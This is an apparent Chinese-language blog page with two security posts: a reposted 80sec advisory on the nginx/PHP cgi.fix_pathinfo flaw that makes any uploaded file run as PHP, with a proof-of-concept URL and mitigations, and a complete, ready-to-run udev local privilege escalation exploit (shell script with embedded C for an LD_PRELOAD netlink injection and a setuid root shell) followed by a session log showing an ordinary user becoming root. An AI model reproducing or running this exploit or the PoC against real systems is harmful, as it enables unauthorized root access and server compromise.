漏洞介绍:nginx是一款高性能的web服务器,使用非常广泛,其不仅经常被用作反向代理,也可以非常好的支持PHP的运行。80sec发现其中存在一个较为严重的安全问题,默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析,这将导致严重的安全问题,使得恶意的攻击者可能攻陷支持php的nginx服务器。

漏洞分析:nginx默认以cgi的方式支持php的运行,譬如在配置文件当中可以以

location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
include fastcgi_params;
}

的方式支持对php的解析,location对请求进行选择的时候会使用URI环境变量进行选择,其中传递到后端Fastcgi的关键变量SCRIPT_FILENAME由nginx生成的$fastcgi_script_name决定,而通过分析可以看到$fastcgi_script_name是直接由URI环境变量控制的,这里就是产生问题的点。而为了较好的支持PATH_INFO的提取,在PHP的配置选项里存在cgi.fix_pathinfo选项,其目的是为了从SCRIPT_FILENAME里取出真正的脚本名。
那么假设存在一个http://www.80sec.com/80sec.jpg,我们以如下的方式去访问

http://www.80sec.com/80sec.jpg/80sec.php

将会得到一个URI

/80sec.jpg/80sec.php

经过location指令,该请求将会交给后端的fastcgi处理,nginx为其设置环境变量SCRIPT_FILENAME,内容为

/scripts/80sec.jpg/80sec.php

而在其他的webserver如lighttpd当中,我们发现其中的SCRIPT_FILENAME被正确的设置为

/scripts/80sec.jpg

所以不存在此问题。
后端的fastcgi在接受到该选项时,会根据fix_pathinfo配置决定是否对SCRIPT_FILENAME进行额外的处理,一般情况下如果不对fix_pathinfo进行设置将影响使用PATH_INFO进行路由选择的应用,所以该选项一般配置开启。Php通过该选项之后将查找其中真正的脚本文件名字,查找的方式也是查看文件是否存在,这个时候将分离出SCRIPT_FILENAME和PATH_INFO分别为

/scripts/80sec.jpg和80sec.php

最后,以/scripts/80sec.jpg作为此次请求需要执行的脚本,攻击者就可以实现让nginx以php来解析任何类型的文件了。

POC: 访问一个nginx来支持php的站点,在一个任何资源的文件如robots.txt后面加上/80sec.php,这个时候你可以看到如下的区别:

访问http://www.80sec.com/robots.txt

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 20 May 2010 10:05:30 GMT
Content-Type: text/plain
Content-Length: 18
Last-Modified: Thu, 20 May 2010 06:26:34 GMT
Connection: keep-alive
Keep-Alive: timeout=20
Accept-Ranges: bytes

访问访问http://www.80sec.com/robots.txt/80sec.php

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 20 May 2010 10:06:49 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=20
X-Powered-By: PHP/5.2.6

其中的Content-Type的变化说明了后端负责解析的变化,该站点就可能存在漏洞。

漏洞厂商:http://www.nginx.org

解决方案:

我们已经尝试联系官方,但是此前你可以通过以下的方式来减少损失

关闭cgi.fix_pathinfo为0

或者

if ( $fastcgi_script_name ~ \..*\/.*php ) {
return 403;
}

另外发现php 4.xx不存在cgi.fix_pathinfo,同时测试也没发现此漏洞可用
本文来自:http://www.80sec.com/nginx-securit.html

最近暴露出udev权限提示的漏洞,只要有普通用户权限,即可提升到root权限,实验了一把,果真很容易提升。
把下面代码保存为test.sh文件

#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique 
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang
 
cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>
 
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
 
#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0
 
int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;
 
main(int argc, char **argv) {
        char sysfspath[SHORT_STRING];
        char subsystem[SHORT_STRING];
        char event[SHORT_STRING];
        char major[SHORT_STRING];
        char minor[SHORT_STRING];
 
        sprintf(event, "add");
        sprintf(subsystem, "block");
        sprintf(sysfspath, "/dev/foo");
        sprintf(major, "8");
        sprintf(minor, "1");
 
        memset(&address, 0, sizeof(address));
        address.nl_family = AF_NETLINK;
        address.nl_pid = atoi(argv[1]);
        address.nl_groups = 0;
 
        msg.msg_name = (void*)&address;
        msg.msg_namelen = sizeof(address);
        msg.msg_iov = &iovector;
        msg.msg_iovlen = 1;
 
        socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
        bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
 
        char message[LONG_STRING];
        char *mp;
 
        mp = message;
        mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
        mp += sprintf(mp, "ACTION=%s", event) +1;
        mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
        mp += sprintf(mp, "MAJOR=%s", major) +1;
        mp += sprintf(mp, "MINOR=%s", minor) +1;
        mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
        mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
 
        iovector.iov_base = (void*)message;
        iovector.iov_len = (int)(mp-message);
 
        char *buf;
        int buflen;
        buf = (char *) &msg;
        buflen = (int)(mp-message);
 
        sendmsg(socket_fd, &msg, 0);
 
        close(socket_fd);
 
	sleep(10);
//	execl("/tmp/suid", "suid", (void*)0);
}
 
_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <sys/stat.h>
 
 
void _init()
{
 setgid(0);
 setuid(0);
 unsetenv("LD_PRELOAD");
// execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
chown("/tmp/suid",0,0);
chmod("/tmp/suid",S_IRUSR|S_IWUSR|S_ISUID|S_IXUSR|S_IROTH|S_IXOTH);
}
 
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
       setgid(0); setuid(0);
       execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
 
# milw0rm.com [2009-04-20]
 
/tmp/suid

然后执行几个简单操作即可由普通用户提升至root了

[test@sbear-cn test]$ id
uid=500(test) gid=500(test) groups=500(test)
[test@sbear-cn test]$ ps -ef|grep udev
root       502     1  0 13:04 ?        00:00:00 /sbin/udevd -d    //查看目前udevd服务的id号
test     2635  2564  0 13:07 pts/0    00:00:00 grep udev
[test@sbear-cn test]$ sh test.sh 501   //udevd的id号减1,即502-1 = 501
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.2# id
uid=0(root) gid=0(root) groups=500(test)  //获取到root权限了
sh-3.2# ls /root/
anaconda-ks.cfg 
sh-3.2#

赶紧升级你的udev吧


© 2007 阿熊的窝 | 粤ICP备09064960号 | Powered by Wordpress